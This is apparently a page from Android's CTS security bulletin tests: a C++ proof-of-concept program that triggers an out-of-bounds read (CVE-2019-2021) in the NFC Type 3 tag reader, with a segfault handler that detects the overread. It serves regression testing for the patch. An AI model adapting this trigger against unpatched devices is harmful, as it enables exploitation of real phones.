xref: /aosp_15_r20/cts/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/poc.cpp (revision b7c941bb3fa97aba169d73cee0bed2de8ac964bf)
1 /*
2  * Copyright (C) 2021 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <stdlib.h>
18 #include <nfc_int.h>
19 #include <rw_int.h>
20 #include <unistd.h>
21 #include "../includes/common.h"
22 #include "../includes/memutils.h"
23 
24 char enable_selective_overload = ENABLE_NONE;
25 char *vulnPtr = nullptr;
26 
27 bool testInProgress = false;
28 struct sigaction new_action, old_action;
sigsegv_handler(int signum,siginfo_t * info,void * context)29 void sigsegv_handler(int signum, siginfo_t *info, void* context) {
30     if (testInProgress && info->si_signo == SIGSEGV) {
31         const size_t page_size = getpagesize();
32         const size_t page_mask = (~(page_size - 1));
33         if (page_size) {
34             char *vulnPtrGuardPage = (char *) ((size_t) vulnPtr & page_mask) + page_size;
35             char *faultPage = (char *) ((size_t) info->si_addr & page_mask);
36             if (faultPage == vulnPtrGuardPage) {
37                 (*old_action.sa_sigaction)(signum, info, context);
38                 return;
39             }
40         }
41     }
42     _exit(EXIT_FAILURE);
43 }
44 
45 extern tRW_CB rw_cb;
46 extern tNFC_CB nfc_cb;
47 tNFC_CONN *p_data;
48 void rw_init(void);
49 tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
50         uint8_t mrti_check, uint8_t mrti_update);
51 
allocate_memory(size_t size)52 void *allocate_memory(size_t size) {
53     void *ptr = memalign(16, size);
54     memset(ptr, 0x0, size);
55     return ptr;
56 }
57 
58 /* States */
59 enum {
60     RW_T3T_STATE_NOT_ACTIVATED,
61     RW_T3T_STATE_IDLE,
62     RW_T3T_STATE_COMMAND_PENDING
63 };
64 
65 /* Enumeration of API commands */
66 enum {
67     RW_T3T_CMD_DETECT_NDEF,
68     RW_T3T_CMD_CHECK_NDEF,
69     RW_T3T_CMD_UPDATE_NDEF,
70     RW_T3T_CMD_CHECK,
71     RW_T3T_CMD_UPDATE,
72     RW_T3T_CMD_SEND_RAW_FRAME,
73     RW_T3T_CMD_GET_SYSTEM_CODES,
74     RW_T3T_CMD_FORMAT,
75     RW_T3T_CMD_SET_READ_ONLY_SOFT,
76     RW_T3T_CMD_SET_READ_ONLY_HARD,
77     RW_T3T_CMD_MAX
78 };
79 
poc_cback(tRW_EVENT event,tRW_DATA * p_rw_data)80 void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
81     (void)event;
82     (void)p_rw_data;
83     free(p_data->data.p_data);
84     free(p_data);
85 }
86 
GKI_start_timer(uint8_t,int32_t,bool)87 void GKI_start_timer(uint8_t, int32_t, bool) {
88 }
89 
GKI_stop_timer(uint8_t)90 void GKI_stop_timer(uint8_t) {
91 }
92 
main()93 int main() {
94     sigemptyset(&new_action.sa_mask);
95     new_action.sa_flags = SA_SIGINFO;
96     new_action.sa_sigaction = sigsegv_handler;
97     sigaction(SIGSEGV, &new_action, &old_action);
98     tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
99 
100     GKI_init();
101     rw_init();
102     rw_cb.p_cback = &poc_cback;
103 
104     uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
105     uint8_t mrti_check = 1, mrti_update = 1;
106 
107     enable_selective_overload = ENABLE_MEMALIGN_CHECK;
108     FAIL_CHECK((rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK));
109 
110     p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
111     FAIL_CHECK(p_data);
112 
113     p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 3);
114     enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
115     if (!(p_data->data.p_data)) {
116         free(p_data);
117         FAIL_CHECK(p_data->data.p_data);
118     }
119     vulnPtr = (char *)p_data->data.p_data;
120     p_data->status = NFC_STATUS_OK;
121 
122     p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
123     p_t3t->cur_cmd = RW_T3T_CMD_DETECT_NDEF;
124 
125     NFC_HDR* p_msg = (p_data->data).p_data;;
126     p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
127 
128     uint8_t* p_t3t_rsp = (uint8_t*) (p_msg + 1) + (p_msg->offset + 1);
129     p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
130     p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
131 
132     tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
133     tNFC_CONN_EVT event = NFC_DATA_CEVT;
134     memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
135            NCI_NFCID2_LEN);
136     testInProgress = true;
137     p_cb->p_cback(0, event, p_data);
138     testInProgress = false;
139     return EXIT_SUCCESS;
140 }
141